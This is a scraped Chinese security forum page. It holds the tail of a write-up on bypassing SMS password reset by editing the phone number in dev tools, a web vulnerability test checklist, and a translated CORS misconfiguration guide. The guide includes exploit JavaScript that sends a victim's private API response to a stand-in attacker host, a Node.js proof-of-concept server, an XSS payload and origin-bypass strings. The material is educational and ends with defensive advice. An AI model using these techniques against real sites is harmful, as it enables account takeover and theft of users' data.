3.然后下面一步是接收验证码,找回密码的关键地方到了

3.png

 F12审查元素,修改手机号为自己手机号如下图所示
 
4.png


4.然后点击获取验证码,自己手机号收到验证码如下:
 
9.png


然后填写验证码,进行下一步
 
6.png

然后点击下一步成功来到了重置密码界面如下所示:

5.png

 5.填写完新密码下一步,成功修改完毕,如下图所示:
 

7.png



6.最后我们看疗效
 
8.png


 
然后既然成功登陆了就随便看看呗
 
11.png


点击提现看看
 
33.png


很好奇,如果有钱能不能提现成功。
 

总结Web常见的漏洞测试条目列表

Web安全渗透ttgo2 发表了文章 • 0 个评论 • 68 次浏览 • 2018-10-07 12:38 • 来自相关话题

1.1 上传功能绕过文件上传检查功能
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试

1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试

1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题 查看全部
1.1 上传功能
绕过文件上传检查功能
上传文件大小和次数限制
1.2 注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
1.3 登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息

1.4 验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
1.5 忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
1.6 越权测试
请测试所有接口水平越权情况
请测试所有接口垂直越权情况
1.7 XSS测试
反射型XSS
存储型XSS
DOM型XSS
1.8 SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
1.9 CSRF测试

1.10 敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试


1.11 任意文件读取

1.12 URL重定向测试

1.13 页面点击劫持

1.14 XXE

1.15 SSRF

1.16 CORS问题

CORS安全指南

zksmile 发表了文章 • 2 个评论 • 194 次浏览 • 2018-09-24 17:47 • 来自相关话题

 原文地址:https://xz.aliyun.com/t/2745                                   
这篇文章翻译自:https://www.bedefended.com/papers/cors-security-guide
作者:Davide Danelon
译者:聂心明
译者博客:https://blog.csdn.net/niexinming
版本:1.0 - 2018年-七月
1. _介绍

这个指南收集关于cors所有的安全知识,从基本的到高级的,从攻击到防御

1.1  _谁应该去读这个文章

这个文章面向所有人:网站管理员,程序员,渗透测试,赏金猎人还有安全专家。
在这个文章种将会找到:
* 同源策略和跨域资源共享(cors)介绍摘要    
* 主要内容,cors漏洞攻击从入门到精通
* cors安全规范
2. 跨域资源共享(cors)

跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。

2.1 同源策略

同源策略在浏览器安全中是一种非常重要的概念,大量的客户端脚本支持同源策略,比如JavaScript。
同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。
这个机制对于现代web应用是非常重要的,因为他们广泛的依赖http cookie来维护用户权限,服务器端会根据cookie来判断客户端是否合法,是否能发送机密信息。
浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
“同源”的定义:

* 域名  
* 协议  
* tcp端口号  
只要以上三个值是相同的,我们就认为这两个资源是同源的。
为了更好的解释这个概念,下面这个表将利用"http://www.example.com/dir/page.html"这个url作为示例,展示在同源策略控制下不同的结果




下面这个图展示的是:如果不启用cors的时候,恶意脚本发出一个请求之后发生的事情




2.2 cors的出现

同源策略对于大型应用有太多的限制,比如有多个子域名的情况
现在已经有大量技术可以放宽同源策略的限制,其中有一种技术就是跨域资源共享(CORS)
CORS是一种机制,这种机制通过在http头部添加字段,通常情况下,web应用A告诉浏览器,自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。
CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含:“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本,而这种方式是被同源策略所阻止的。

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。
下面这个图展示一个简单的CORS请求流:




2.2.1 身份数据

服务器端也会通知客户端是否发送用户的身份数据(cookie或者其他身份数据),如果http头部中的“Access-Control-Allow-Credentials”这个字段被设置“true",那么客户端身份数据就会被发送到目标的服务器上

2.2.2

因为请求会修改数据(通常是GET以外的方法),在发送这些复杂请求之前,浏览器会发送一个”探测“请求
cors预检的目的是为了验证CORS协议是否被理解,预检的OPTION请求包含下面三个字段
“Access-Control-Request-Method”  “Access-Control-Request-Headers”  “Origin”   这些字段会被浏览器自动的发给服务器端。所以,在正常情况下,前端开发人员不需要自己指定此类请求。如果服务器允许发送请求,那么浏览器就会发送所需的HTTP数据包。2.2.3 允许多个源协议建议,可以简单的利用空格来分隔多个源,比如:Access-Control-Allow-Origin: https://example1.com https://example2.com然而,没有浏览器支持这样的语法通常利用通配符去信任所有的子域名也是不行的,比如:Access-Control-Allow-Origin: *.example1.com当前只支持用通配符来匹配域名,比如下面:Access-Control-Allow-Origin: *尽管浏览器可以支持通配符,但是不能同时将凭证标志设置成true。就像下面这种头部配置:Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true这样配置浏览器将会报错,因为在响应具有凭据的请求时,服务器必须指定单个域,所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值2.2.4  其他相关的头部字段还有一些关于CORS的头部字段,其中一个字段是“Vary"根据CORS的实施标准,当”Access-Control-Allow-Origin“是被动态产生的话,就要用”Vary: Origin“去指定。这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头,则在某些情况下,它可能会被某些攻击所利用,如在下一节中描述3. _攻击技术这部分内容是一个给安全测试专家的指导书,来帮助他们测试CORS的安全性3.1 过程三个步骤测试CORS错误配置1. 识别  2. 分析3. 利用3.1.1 识别首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。通常,当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。另外,如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。因此,找到候选人接口之后,就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。比如:GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://target.domainConnection: close然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://target.domain…上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。3.1.2 分析识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。在这个阶段,开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。重要的是验证,哪种类型的控件可以被控制,应用会返回哪种头部字段。因此,测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://attaker.domainConnection: close然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://attacker.domain…在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域,并且可以向这个域中发送用户凭据。3.1.3 利用经过刚才对CORS的分析,我们已经准备好去利用那些配置错误的CORS应用了。有时,当用户凭据这个字段没有开启的时候,可能需要其他的先决条件去利用这个问题。下面的篇幅就详细的讲解一些特殊的利用技术。3.2 有用户凭据的利用从一个攻击者角度来看,看到目标应用的“AccessControl-Allow-Credentials”设置为“true”时是非常开心的。在这种情况下,攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。下面这个表简要说明基于CORS配置的可利用性


3.2.1 泄露用户数据当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:var req = new XMLHttpRequest();req.onload = reqListener;req.open(“get”,”https://vulnerable.domain/api/private-data”,true);req.withCredentials = true;req.send();function reqListener() {location=”//attacker.domain/log?response=”+this.responseText;};用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”GET /api/private-data HTTP/1.1Host: vulnerable.domainOrigin: https://attacker.domain/Cookie: JSESSIONID=<redacted>然后就会收到下面的返回数据HTTP/1.1 200 OKServer: Apache-Coyote/1.1Access-Control-Allow-Origin: https://attacker.domainAccess-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-CredentialsVary: OriginExpires: Thu, 01 Jan 1970 12:00:00 GMTLast-Modified: Wed, 02 May 2018 09:07:07 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0Pragma: no-cacheContent-Type: application/json;charset=ISO-8859-1Date: Wed, 02 May 2018 09:07:07 GMTConnection: closeContent-Length: 149{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"top-secret-string"}因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。


3.3 没有用户凭据的利用方式在这种情况下,目标应用允许通过发送“Origin”去影响返回头“Access-Control-Allow-Origin”的值,但是不允许传输用户凭证下面这个表简要说明基于CORS配置的可利用性


如果不能携带用户凭据的话,那么就会减少攻击者的攻击面,并且很明显的是,攻击者将很难拿到用户的cookie。此外,会话固定攻击也是不可行的,因为浏览器会忽略应用设置的新的cookie。3.3.1 绕过基于ip的身份验证实际的攻击中总有意外,如果目标从受害者的网络中可以到达,但使用ip地址作为身份验证的方式。这种情况通常发生在缺乏严格控制的内网中。在这种场景下,黑客会利用受害者的浏览器作为代理去访问那些应用并且可以绕过那些基于ip的身份验证。就影响而言,这个类似于DNS重绑定,但会更容易利用。3.3.2 客户端缓存中毒这种配置允许攻击者利用其他的漏洞。比如,一个应用返回数据报文头部中包含“X-User”这个字段,这个字段的值没有经过验证就直接输出到返回页面上。请求:GET /login HTTP/1.1Host: www.target.localOrigin: https://attacker.domain/X-User: <svg/onload=alert(1)>返回报文(注意:“Access-Control-Allow-Origin”已经被设置,但是“Access-Control-Allow-Credentials: true”并且“Vary: Origin”头没有被设置)HTTP/1.1 200 OKAccess-Control-Allow-Origin: https://attacker.domain/…Content-Type: text/html…Invalid user: <svg/onload=alert(1)攻击者可以把xss的exp放在自己控制的服务器中的JavaScript代码里面然后等待受害者去触发它。var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','http://www.target.local/login',true);req.setRequestHeader('X-User', '<svg/onload=alert(1)>');req.send();function reqListener() {location='http://www.target.local/login';}如果在返回报文中头部没有设置“Vary: Origin”,那么可以利用上面展示的例子,可以让受害者浏览器中的缓存中存储返回数据报文(这要基于浏览器的行为)并且当浏览器访问到相关URL的时候就会直接显示出来。(通过重定向来实现,可以用“reqListener()”这个方法)


如果没有CORS的话,上面的缺陷就没法利用,因为没有办法让受害者浏览器发送自定义头部,但是如果有了CORS,就可以用“XMLHttpRequest”做这个事情。3.3.3 服务器端缓存中毒另一种潜在的攻击方式是利用CORS的错误配置注入HTTP头部,这可能会被服务器端缓存下来,比如制造存储型xss下面是攻击的利用条件:* 存在服务器端缓存 * 能够反射“Origin“头部   * 不会检查“Origin”头部中的特殊字符,比如”\r"有了上面的先决条件,James Kettle展示了http头部注入的利用方式,他用这种方式攻击IE/Edge用户(因为他们使用“\r"(0x0d)作为的HTTP头部字段的终结符)请求GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7IE处理过后返回报文 HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7上面的请求不能直接拿来利用,因为攻击者没有办法保证受害者浏览器会提前发送畸形的头部。如果攻击者能提前发送畸形的“Origin”头部,比如利用代理或者命令行的方式发送,然后服务器就会缓存这样的返回报文并且也会传递给其他人。利用上面的例子,攻击者可以把页面的编码变成”UTF-7",周所周知,这可能会引发xss漏洞   3.4  绕过技术有时,需要信任不同的域或者所有的子域,所以开发者要用正则表达式或者其他的方法去验证有效性。下面的部分列出了一系列的“起源”,可以用来绕过某些验证控制,以验证“起源”头的有效性。下面的例子中的目标域一般指“target.local”。3.4.1  NULL源CORS的规范中还提到了“NULL”源。触发这个源是为了网页跳转或者是来自本地HTML文件。目标应用可能会接收“null"源,并且这个可能被测试者(或者攻击者)利用,意外任何网站很容易使用沙盒iframe来获取”null“源<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>使用上面的iframe产生一个请求类似于下面这样GET /handlerHost: target.localOrigin: null如果目标应用接收”null"源,那么服务器将返回类似下面的数据报文HTTP/1.1 200 OKAcess-Control-Allow-Origin: nullAccess-Control-Allow-Credentials: true这种错误配置经常会碰到,所以会很方便的去尝试它。3.4.2 使用目标域名作为子域名如果目标应用只检查只检查“Origin”中的字符串是否包含“target.local”,那么就可以在自己控制的服务器上创建一个子域名。用这样的方式,请求一般产生自JavaScript代码,并且请求中的“Origin”会像下面这样Origin: https://target.local.attacker.domain3.4.3  注册一个同名的域名假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/.*\.?target\.local$这样的正则表达式包含一个问题,导则这样的CORS配置都容易被攻击。下面表格将分解正则表达式:


这个?只影响"."这个字符串,因此在“target.local”前面的任何字符串都是被允许的,而不管是否有"."把他们分开。因此,只需要在“origin”末尾包含目标域名就可以绕过上面的限制(这个场景的的目标域名是“target.local”),比如:Origin: https://nottarget.local攻击者只需要注册一个末尾包含目标域名的新域名就可以利用这样的漏洞了。3.4.4 控制目标的子域名现在目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/(.*\.)?target\.local$这个允许来自”target.local“的跨域访问并且包含所有的子域名(来自HTTP和HTTPS协议)。在这个场景中,如果攻击者能控制目标的有效的子域名(比如:“subdomain.target.local”),比如接管一个子域名,或者找到一个有xss漏洞的子域名。攻击者就可以产生一个有效的CORS请求。3.4.5 第三方域名有时一些第三方域名会被允许。如果黑客能在这些域名里面上传JavaScript脚本的话,他们就可以攻击目标了。最有代表性的例子是,Amazon S3存储桶的有时是被信任的。如果目标应用使用亚马逊的服务,那么来自亚马逊S3存储桶上的请求就会被信任。在这种场景下,攻击者会控制一个S3的存储桶,并在上面放上恶意页面。3.4.6  使用特殊的特性Corban Leo展示了一个比较有趣的研究,他在域名中插入一些特殊的字符来绕过一些限制。这个研究员的特殊字符法只能用在Safari浏览器上。但是,我们进行了深入的分析,显示其中一部分特殊字符串也可以用在其他的浏览器中。这种规避技术所面临的问题是,在发送请求之前,浏览器不总是会去验证域名的有效性。因此,如果使用一些特殊的字符串,那么浏览器可能就不会提前发送请求去验证域名是否存在或者有效。假设,目标应用实现是基于下面的正则表达式去检测“Origin”头部的话:^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?上面的正则表达式的意思是,允许所有“target.local”的子域名的跨域请求,并且这些请求可以来自于子域名的任意端口。下面是正则表达式的分解:


这个正则表达式阻止前面例子中的攻击,因此前面的绕过技术不会起作用(除非你控制了一给合法的子域名)下面的截屏展示了返回报文中没有“Access-Control-Allow-Origin” (ACAO) 和 “Access-Control-AllowCrendentials” (ACAC) 被设置。(使用前面的一种绕过技术)


因为,正则表达式匹配紧挨着的ASCII字母和".","-",在“target.local”后面的每一个字母都会被信任。


注意:当前浏览器只有Safari支持使用上面的域名(带“{”那个字符的),但是如果目标应用的正则表达式能够信任其他的特殊字母,那么就可以使用CORS的错误配置去攻击其他的浏览器啦。下面这个表包含各个浏览器对特殊字符的“兼容性”(注意:仅包含至少一个浏览器允许的特殊字符)


利用前的准备:* 泛解析域名要指向你的服务器   * NodeJS:因为Apache和Nginx(开箱即用)不支持特殊的字符创建一个serve.js 文件   var http = require('http'); var url = require('url');var fs = require('fs');var port = 80http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data);res.end();});} else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end();}}).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);在相同的目录下创建cors.html   <html><head><title>CORS PoC</title></head><body onload="cors();"><div align="center"><h2>CORS Proof of Concept</h2><textarea rows="15" cols="70" id="container"></textarea> </div><script> function cors() {var req = new XMLHttpRequest();req.onload = reqListener; req.open("GET","http://www.target.local/api/private-data",true); req.withCredentials = true;req.send();function reqListener() {document.getElementById("container").innerHTML = this.responseText; }} </script>现在启动NodeJS服务并且运行下面的指令:  node serve.js &如果目标应用使用上面的表达式实现对“Origin”过滤的话,那么除了“.” 和“-“之外,“www.target.local”后面的每一个特殊字符都会被信任,因此当Safari浏览器完成的以下产生的有效请求后,攻击者能够从易受攻击的目标中窃取数据。  http://www.target.local{.<your-domain>/cors-poc如果正则表达式支持下划线的话,那么可能其他的浏览器(在上面的表格中列出数据)也可以利用CORS配置错误了,就像下面的例子一样:http://www.target.local_.<your-domain>/cors-poc想要看更多关于绕过的文章可以去:https://www.sxcurity.pro/advanced-cors-techniques 4 _防御技术让我们的看看如何正确配置CORS才能避免让黑客从受害者中偷走敏感数据或者被攻击者利用CORS配置继续攻击 4.1 一般守则下面是处理CORS配置的最佳实践 4.1.1 如果不必要就不要开启CORS首先,要仔细的评估是否开启CORS。如果没有必要,建议完全避免使用它,以免削弱SOP。 4.1.2 定义白名单如果是绝对必要的话,要定义“源”的白名单。我更喜欢白名单,如果可能的话,不要使用正则表达式,因为根据前面的描述,正则表达式更容易出错,导致CORS的配置错误。不要配置“Access-Control-Allow-Origin”为通配符“*”,而且更重要的是,要严格效验来自请求数据包中的“Origin”的值。当收到跨域请求的时候,要检查“Origin”的值是否是一个可信的源。 4.1.3 仅仅允许安全的协议有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS 4.1.4 配置“VARY”头部要尽可能的返回"Vary: Origin"这个头部,以避免攻击者利用浏览器缓存 4.1.5 如果可能的话避免使用“CREDENTIALS”由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。要特别关注的实现的标准,如果没有定义参数的话,那么默认值很可能是“true”。要仔细阅读官方文档,如果感觉模糊不清的话,就把值设置成“false". 4.1.6 限制使用的方法通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法,配置它始终是一个好习惯。 4.1.7 限制缓存的时间建议通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源) 4.1.8 仅配置所需要的头最后一点,要仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)实际上,在其他情况下,如果没有理由就不要配置这样的头部,这种方式可以减少某些用户恶意利用的可能性。 4.2 配置和实施很多软件框架是允许使用CORS的,当使用这些解决方案的时候,我们要着重++注意默认值++(“origin” 和 “credentials”是否被明确的设置)因为有些默认值是不安全的我们分析一些主要的软件框架。下面这个表是总结的结果(注意:这仅指默认配置,在所有情况下都可以以安全的方式配置它们) 5. _引用:* Mozilla MDN web docs. Cross-Origin Resource Sharing (CORS). https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS (Accessed 2018-30-06).* Wikipedia. Same-origin policy. https://en.wikipedia.org/wiki/Same-origin_policy (Accessed 2018-30-06).* W3C. Cross-Origin Resource Sharing. https://www.w3.org/TR/cors/ (Accessed 2018-30-06).* James Kettle. Exploiting CORS misconfigurations for Bitcoins and bounties. https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties 2018-30-06).* Geekboy. Exploiting Misconfigured CORS (Cross Origin Resource Sharing). https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/ (Accessed 2018-30-06)* Yassine Aboukir. CORS Exploitation: Data exfiltration when allowed origin is set to NULL. https://yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/ (Accessed 2018-30-06).* Corben Leo. Advanced CORS Exploitation Techniques. https://www.sxcurity.pro/advanced-cors-techniques/ (Accessed 2018-30-06)
                             查看全部
 原文地址:https://xz.aliyun.com/t/2745                                   
这篇文章翻译自:https://www.bedefended.com/papers/cors-security-guide
作者:Davide Danelon
译者:聂心明
译者博客:https://blog.csdn.net/niexinming
版本:1.0 - 2018年-七月
1. _介绍

这个指南收集关于cors所有的安全知识,从基本的到高级的,从攻击到防御

1.1  _谁应该去读这个文章

这个文章面向所有人:网站管理员,程序员,渗透测试,赏金猎人还有安全专家。
在这个文章种将会找到:
* 同源策略和跨域资源共享(cors)介绍摘要    
* 主要内容,cors漏洞攻击从入门到精通
* cors安全规范
2. 跨域资源共享(cors)

跨域资源共享(cors)可以放宽浏览器的同源策略,可以通过浏览器让不同的网站和不同的服务器之间通信。

2.1 同源策略

同源策略在浏览器安全中是一种非常重要的概念,大量的客户端脚本支持同源策略,比如JavaScript。
同源策略允许运行在页面的脚本可以无限制的访问同一个网站(同源)中其他脚本的任何方法和属性。当不同网站页面(非同源)的脚本试图去互相访问的时候,大多数的方法和属性都是被禁止的。
这个机制对于现代web应用是非常重要的,因为他们广泛的依赖http cookie来维护用户权限,服务器端会根据cookie来判断客户端是否合法,是否能发送机密信息。
浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
“同源”的定义:

* 域名  
* 协议  
* tcp端口号  
只要以上三个值是相同的,我们就认为这两个资源是同源的。
为了更好的解释这个概念,下面这个表将利用"http://www.example.com/dir/page.html"这个url作为示例,展示在同源策略控制下不同的结果
1.png

下面这个图展示的是:如果不启用cors的时候,恶意脚本发出一个请求之后发生的事情
2.png

2.2 cors的出现

同源策略对于大型应用有太多的限制,比如有多个子域名的情况
现在已经有大量技术可以放宽同源策略的限制,其中有一种技术就是跨域资源共享(CORS)
CORS是一种机制,这种机制通过在http头部添加字段,通常情况下,web应用A告诉浏览器,自己有权限访问应用B。这就可以用相同的描述来定义“同源”和“跨源”操作。
CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。
主要的头部字段包含:“Access-Control-Allow-Origin”
Access-Control-Allow-Origin: https://example.com
这个头部字段所列的“源”可以以访客的方式给服务器端发送跨域请求并且可以读取返回的文本,而这种方式是被同源策略所阻止的。

默认情况下,如果没有设置“Access-Control-Allow-Credentials”这个头的话,浏览器发送的请求就不会带有用户的身份数据(cookie或者HTTP身份数据),所以就不会泄露用户隐私信息。
下面这个图展示一个简单的CORS请求流:
3.png

2.2.1 身份数据

服务器端也会通知客户端是否发送用户的身份数据(cookie或者其他身份数据),如果http头部中的“Access-Control-Allow-Credentials”这个字段被设置“true",那么客户端身份数据就会被发送到目标的服务器上

2.2.2

因为请求会修改数据(通常是GET以外的方法),在发送这些复杂请求之前,浏览器会发送一个”探测“请求
cors预检的目的是为了验证CORS协议是否被理解,预检的OPTION请求包含下面三个字段
  • “Access-Control-Request-Method”  
  • “Access-Control-Request-Headers”  
  • “Origin”   
这些字段会被浏览器自动的发给服务器端。所以,在正常情况下,前端开发人员不需要自己指定此类请求。如果服务器允许发送请求,那么浏览器就会发送所需的HTTP数据包。2.2.3 允许多个源协议建议,可以简单的利用空格来分隔多个源,比如:
Access-Control-Allow-Origin: https://example1.com https://example2.com
然而,没有浏览器支持这样的语法通常利用通配符去信任所有的子域名也是不行的,比如:
Access-Control-Allow-Origin: *.example1.com
当前只支持用通配符来匹配域名,比如下面:
Access-Control-Allow-Origin: *
尽管浏览器可以支持通配符,但是不能同时将凭证标志设置成true。就像下面这种头部配置:
Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
这样配置浏览器将会报错,因为在响应具有凭据的请求时,服务器必须指定单个域,所不能使用通配符。简单的使用通配符将有效的禁用“Access-Control-Allow-Credentials”这个字段。这些限制和行为的结果就是许多CORS的实现方式是根据“Origin”这个头部字段的值来生成“AccessControl-Allow-Origin”的值2.2.4  其他相关的头部字段还有一些关于CORS的头部字段,其中一个字段是“Vary"根据CORS的实施标准,当”Access-Control-Allow-Origin“是被动态产生的话,就要用”Vary: Origin“去指定。这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值发生变化。如果如果未设置此标头,则在某些情况下,它可能会被某些攻击所利用,如在下一节中描述3. _攻击技术这部分内容是一个给安全测试专家的指导书,来帮助他们测试CORS的安全性3.1 过程三个步骤测试CORS错误配置1. 识别  2. 分析3. 利用3.1.1 识别首先,想要测试带有CORS缺陷应用的首先条件是要找到开启CORS的应用。APIs一个不错的选择,因为他们经常和不同的域交换信息。因此,通常情况下,接口会暴露一些信息收集和信息枚举的功能。通常,当服务器收到头部带有”Origin"字段的请求的时候才会配置CORS,因此才会很容易的产生很多这样类型的漏洞。另外,如果客户端收到返回报文的头部包含“Access-Control-*”这样的字段,但是没有定义源的话,那么很可能返回报文的头部是由请求报文中“Origin”这个字段来决定的。因此,找到候选人接口之后,就可以发送头部带有“Origin”的数据包了。测试者应该试图让“Origin”字段使用不同的值,比如不同的域名称或者”null"。最好用一些的脚本自动化的完成这些任务。比如:
GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://target.domainConnection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://target.domain…
上面的返回报文表明,这个应用中的接口已经开启了CORS这个功能。现在有必要对配置进行测试,以确定是否存在安全缺陷。3.1.2 分析识别出开启的CORS功能的接口之后,就要尽可能的分析配置,以发现正确的利用方式。在这个阶段,开始fuzzing请求报文头部中“Origin”这个字段然后观察服务器的返回报文,目的是看哪些域是被允许的。重要的是验证,哪种类型的控件可以被控制,应用会返回哪种头部字段。因此,测试者应该发送发送头部字段“Origin”包含不同值的请求发送给服务器端,看看攻击者所控制的域名是否被允许。
GET /handler_to_test HTTP/1.1Host: target.domainOrigin: https://attaker.domainConnection: close
然后看服务器的返回报文头部是否带有“Access-Control-Allow-*”字段
HTTP/1.1 200 OK…Access-control-allow-credentials: trueAccess-control-allow-origin: https://attacker.domain…
在这次测试示例中,服务器返回的报文头部中已经表明完全信任“attacker.domain”这个域,并且可以向这个域中发送用户凭据。3.1.3 利用经过刚才对CORS的分析,我们已经准备好去利用那些配置错误的CORS应用了。有时,当用户凭据这个字段没有开启的时候,可能需要其他的先决条件去利用这个问题。下面的篇幅就详细的讲解一些特殊的利用技术。3.2 有用户凭据的利用从一个攻击者角度来看,看到目标应用的“AccessControl-Allow-Credentials”设置为“true”时是非常开心的。在这种情况下,攻击者会利用配置错误去偷走受害人的隐私数据和敏感数据。下面这个表简要说明基于CORS配置的可利用性
4.png
3.2.1 泄露用户数据当“Access-Control-Allow-Credentials”设置为Ture时,利用这种CORS这种配置缺陷的基本技术就是创建一个JavaScript脚本去发送CORS请求,就像下面那样:
var req = new XMLHttpRequest();req.onload = reqListener;req.open(“get”,”https://vulnerable.domain/api/private-data”,true);req.withCredentials = true;req.send();function reqListener() {location=”//attacker.domain/log?response=”+this.responseText;};
用这样的代码黑客就可以通过有缺陷的“日志”接口偷到用户数据。当带有目标系统用户凭据的受害者访问带有上述代码的页面的时候,浏览器就会发送下面的请求到“有漏洞服务器”
GET /api/private-data HTTP/1.1Host: vulnerable.domainOrigin: https://attacker.domain/Cookie: JSESSIONID=<redacted>
然后就会收到下面的返回数据
